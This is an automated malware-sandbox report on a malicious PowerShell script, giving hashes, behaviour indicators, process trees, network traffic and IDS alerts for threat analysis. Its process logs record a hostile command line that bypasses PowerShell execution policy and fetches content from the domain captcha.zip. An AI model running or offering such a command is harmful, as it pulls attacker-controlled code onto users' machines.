File name:

cool-guys-only.ps1

Full analysis: https://app.any.run/tasks/804056c5-1f5b-4f43-bc55-b4b94c550d05
Verdict: Malicious activity
Analysis date: May 24, 2025, 07:07:24
OS: Windows 10 Professional (build: 19044, 64 bit)
Indicators:
MIME: text/plain
File info: Unicode text, UTF-8 text, with no line terminators
MD5:

35E1356C26B82E95931DC35173C4CF26

SHA1:

14BF4A26E93C780DA6A140337D9D5793AB9B3F1F

SHA256:

80F883F375FFF58A277E04F74FF6CF88258DD04BC710F45DE793C8E2F35A427A

SSDEEP:

3:VSJJFIQvnkEWWvWIFvPLfXgZtY2+RbqRF4I1yMQRWLDxn:s8gnNW8bgvsIMPyDx

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  • MALICIOUS

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 904)
      • powershell.exe (PID: 5344)
      • powershell.exe (PID: 6816)

    • Changes powershell execution policy (Bypass)

      • powershell.exe (PID: 904)
      • powershell.exe (PID: 6676)

  • SUSPICIOUS

    • The process bypasses the loading of PowerShell profile settings

      • powershell.exe (PID: 904)
      • powershell.exe (PID: 6676)

    • Executes script without checking the security policy

      • powershell.exe (PID: 5344)
      • powershell.exe (PID: 6816)

    • Application launched itself

      • powershell.exe (PID: 904)
      • powershell.exe (PID: 6676)

    • Starts POWERSHELL.EXE for commands execution

      • powershell.exe (PID: 904)
      • cmd.exe (PID: 6028)
      • powershell.exe (PID: 6676)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 6676)

  • INFO

    • Checks proxy server information

      • powershell.exe (PID: 5344)
      • powershell.exe (PID: 6816)
      • slui.exe (PID: 1348)

    • Manual execution by a user

      • cmd.exe (PID: 6028)

    • Disables trace logs

      • powershell.exe (PID: 5344)
      • powershell.exe (PID: 6816)

    • Reads the software policy settings

      • powershell.exe (PID: 6676)
      • slui.exe (PID: 7148)
      • slui.exe (PID: 1348)

    • Reads security settings of Internet Explorer

      • powershell.exe (PID: 6676)

    • Creates files or folders in the user directory

      • powershell.exe (PID: 6676)

    • Create files in a temporary directory

      • powershell.exe (PID: 6676)

    • Checks current location (POWERSHELL)

      • powershell.exe (PID: 6676)

    • Converts byte array into ASCII string (POWERSHELL)

      • powershell.exe (PID: 6676)
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No Malware configuration.
No data.
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Total processes
141
Monitored processes
10
Malicious processes
1
Suspicious processes
3

Behavior graph

Click at the process to see the details
start powershell.exe no specs conhost.exe no specs sppextcomobj.exe no specs slui.exe powershell.exe cmd.exe no specs conhost.exe no specs powershell.exe no specs slui.exe powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
904"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass C:\Users\admin\AppData\Local\Temp\cool-guys-only.ps1C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1348C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
5344"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ep Bypass -c irm captcha.zip/verifyC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll
6028"C:\WINDOWS\system32\cmd.exe" C:\Windows\System32\cmd.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\wldp.dll
6248\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6632\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6640C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exe—svchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Exit code:
0
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
6676powershellC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll
6816"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ep Bypass -c irm captcha.zip/verifyC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll
7148"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEventC:\Windows\System32\slui.exe
SppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
Total events
21 329
Read events
21 329
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
4
Text files
10
Unknown types
0

Dropped files

PID
Process
Filename
Type
904powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF10b383.TMPbinary
MD5:D040F64E9E7A2BB91ABCA5613424598E
SHA256:D04E0A6940609BD6F3B561B0F6027F5CA4E8C5CF0FB0D0874B380A0374A8D670
904powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_r4lvbwdi.bxj.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
904powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SN5NXT0A84W9USM9JO96.tempbinary
MD5:1A912EC52E399B4CD205FBFDD805ED00
SHA256:8FF21C953543D9860EC1E553018F0237D410A50B152F0172CF795E64BEEE2B51
5344powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_1fgm4nnr.h4p.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
904powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_mrrrl2tl.t0j.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5344powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_l1heswcn.r0y.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6676powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txttext
MD5:2EFD08791F4ADE76F7A43CE4A6C0669E
SHA256:494AF99C3D05144F325BCF83278BCC912EF8F0E7395A7753CDD65925F8DD9A8D
6676powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_idhphxwe.s4f.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5344powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:597A7BE8B6D1B98FD5E65FD0DB255123
SHA256:38EB86B71D36E955DD3996B43C0725965E670BF6707E48D29FA7B617249E8AD3
6816powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_0hlkt4o4.tc4.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
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HTTP(S) requests
10
TCP/UDP connections
43
DNS requests
28
Threats
5

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5496
MoUsoCoreWorker.exe
GET
200
23.32.238.107:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
5344
powershell.exe
GET
301
188.114.97.3:80
http://captcha.zip/verify
unknown
—
—
unknown
5496
MoUsoCoreWorker.exe
GET
200
2.23.181.156:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
2040
backgroundTaskHost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA77flR%2B3w%2FxBpruV2lte6A%3D
unknown
—
—
whitelisted
5892
SIHClient.exe
GET
200
2.23.181.156:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
2924
SearchApp.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
5892
SIHClient.exe
GET
200
2.23.181.156:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
2924
SearchApp.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
6816
powershell.exe
GET
301
188.114.97.3:80
http://captcha.zip/verify
unknown
—
—
unknown
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2104
svchost.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
6392
RUXIMICS.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
5496
MoUsoCoreWorker.exe
23.32.238.107:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
5496
MoUsoCoreWorker.exe
2.23.181.156:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
5344
powershell.exe
188.114.97.3:80
captcha.zip
CLOUDFLARENET
NL
unknown
5344
powershell.exe
188.114.97.3:443
captcha.zip
CLOUDFLARENET
NL
unknown
3216
svchost.exe
172.211.123.250:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 4.231.128.59
  • 20.73.194.208
whitelisted
google.com
  • 142.250.186.110
whitelisted
crl.microsoft.com
  • 23.32.238.107
  • 23.32.238.112
whitelisted
www.microsoft.com
  • 2.23.181.156
whitelisted
captcha.zip
  • 188.114.97.3
  • 188.114.96.3
unknown
client.wns.windows.com
  • 172.211.123.250
  • 172.211.123.248
whitelisted
login.live.com
  • 40.126.31.69
  • 40.126.31.128
  • 20.190.159.64
  • 20.190.159.131
  • 20.190.159.75
  • 20.190.159.130
  • 40.126.31.73
  • 40.126.31.0
whitelisted
ocsp.digicert.com
  • 2.17.190.73
whitelisted
arc.msn.com
  • 20.223.36.55
whitelisted
fd.api.iris.microsoft.com
  • 20.86.201.138
whitelisted

Threats

PID
Process
Class
Message
2196
svchost.exe
Misc activity
ET INFO Observed DNS Query to .zip TLD
5344
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
5344
powershell.exe
Misc activity
ET INFO HTTP Request to a *.zip Domain
6816
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
6816
powershell.exe
Misc activity
ET INFO HTTP Request to a *.zip Domain
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Reports
cool-guys-only.ps1